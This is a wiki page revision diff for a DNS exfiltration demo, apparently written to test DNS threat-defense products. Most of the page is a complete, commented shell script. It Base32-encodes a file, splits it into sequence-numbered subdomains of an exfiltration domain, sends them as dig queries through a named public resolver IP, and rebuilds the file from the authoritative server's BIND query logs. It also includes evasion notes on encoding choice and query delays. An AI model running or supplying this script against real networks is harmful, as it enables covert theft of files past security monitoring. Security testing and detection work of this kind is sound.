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--- dns:dns_exfiltration [2023/05/28 19:39] – bstafford
+++ dns:dns_exfiltration [2023/11/29 15:02] (current) – [DNS Exfiltration Demo] bstafford
@@ Line 1: / Line 1: @@
 ===== DNS Exfiltration Demo =====
 [[https://hinty.io/devforth/dns-exfiltration-of-data-step-by-step-simple-guide/|Guide here]]
+===== Base64 =====
+Base64. Contains uppercase letters and defaults to allowing = and / etc. This is not recommended as it can make it easier to detect attacks as 'normal' DNS doesn't use these. Use Base32 instead.
+However, Base32 isn't available natively in many scripting toolsets. Base64 is. So some attackers use Base64 to avoid having to write their own Base32 conversion code.
 ===== Simple Exfiltration =====
 Note that the BIND logs will be approximately 17 times the size of the transferred file.
-<code>SOURCE=/home/name/dns_exfil_test/releasenotes.pdf
+Note that this is actually two scripts as the last few commands are to be run on the DNS auth server to decrypt the logs.
+<code># File to be exfiltrated
+SOURCE=/home/name/dns_exfil_test/file.pdf
+#
 ENCRYPTED=/home/name/dns_exfil_test/encryptedpdf.txt
-ENCRYPTED2=/home/name/dns_exfil_test/encryptedpdf2.txt
+ENCRYPTED2=/home/name/dns_exfil_test/decryptedpdf.txt
-DOMAIN=domain.com
+# SLD of exfiltration domain
+DOMAIN=ferrety-solutions.com
+# sub-domain off SLD that we change for every file
 SUBDOM=asdf
-LOCALDNS=protectivedns.example.com
+# Target DNS server (e.g. NIOS with DFP or BloxOne Host)
+# Public IP is the BloxOne Threat Defense IP address
+#LOCALDNS=192.168.11.154
+LOCALDNS=52.119.41.100
+# Log file that the DNS queries can be found in on the authoritative DNS server
 BIND_LOG_FILE=/var/log/named/query.log
-DECRYPTEDOUTPUT=/home/name/dns_exfil_test/releasenotes2.pdf
+# File to put the decrypted, received file into (should be a replica of SOURCE)
+DECRYPTEDOUTPUT=/home/name/dns_exfil_test/file2.pdf
-# Encrypt source file into Base32 and then split into strings of 32 characters each. Then suffix on the domain to query.
-base32 $SOURCE | tr -d '\n' | fold -32 | sed -e "s/$/.$SUBDOM.$DOMAIN/" > $ENCRYPTED
-# Use DIG to iterate over the file and resolve the DNS.
+# Encrypt source file into Base32
-dig +short A @$LOCALDNS -f $ENCRYPTED
+# then split into strings of 32 characters each.
+# Then suffix on the domain to query.
+# Then add the line number to the start of each line (i.e. put a sequence number on each query)
+# Then replace the whitespace at the start of each line with nothing (i.e remove it)
+# Then replace the TAB between the number and domain with a "."
+base32 $SOURCE | tr -d '\n' | fold -62 | sed -e "s/$/.$SUBDOM.$DOMAIN/" | nl | sed s/^' '*//g | sed "s/\\t/./g" > $ENCRYPTED
-OR
+# The result is a file that contains a huge list of FQDN's for us to query (exfiltrate)
+# Exfiltrate the file with DIG.
+dig +short A @$LOCALDNS -f $ENCRYPTED
-for i in $(cat $ENCRYPTED); do dig +short A @$LOCALDNS $i;sleep 1;done
+# Delay if required.
+#for i in $(cat $ENCRYPTED); do dig +short A @$LOCALDNS $i;sleep 0.1 ;done
-# Parse DNS Server logs, extract queries to exfiltration domain
+## The following commands get run on the command auth DNS server.
+# Parse DNS Server logs
+# Then limit the scope just the queries associated with the SUBDOM that we set (i.e. ignore all the other random stuff we get/ignore any other exfiltration tasks running).
+# Then extract just the FQDN query itself
+# Then strip the ( character
+# Then strip the ): character
+# Put the output into ENCRYPTED2 (i.e the DNS server's copy of the encrypted file.
 cat $BIND_LOG_FILE | grep $SUBDOM.$DOMAIN | awk -F " " '{print $8}' | sed s/\(//g | sed s/\)://g > $ENCRYPTED2
-# Convert back from Base32 and recreate original file.
+# Take the ENCRYPTED2 file
-cat $ENCRYPTED2 | tr -d '\n' | base32 --decode > $DECRYPTEDOUTPUT</code>
+# Then stip off the DOMAIN bit of the data.
+# Then sort the output as sometimes queries come in on the wrong order.
+# remove duplicate queries (BloxOne Threat Defense seems to duplicate stuff a bit).
+# Then strip out the new line character to so we just have a bunch of Base32 code.
+# Then convert Base32 back to normal file.
+Convert back from Base32 and recreate original file.
+cat $ENCRYPTED2 | sed "s/.$SUBDOM.$DOMAIN//g" | sort | uniq | tr -d '\n' | base32 --decode > $DECRYPTEDOUTPUT</code>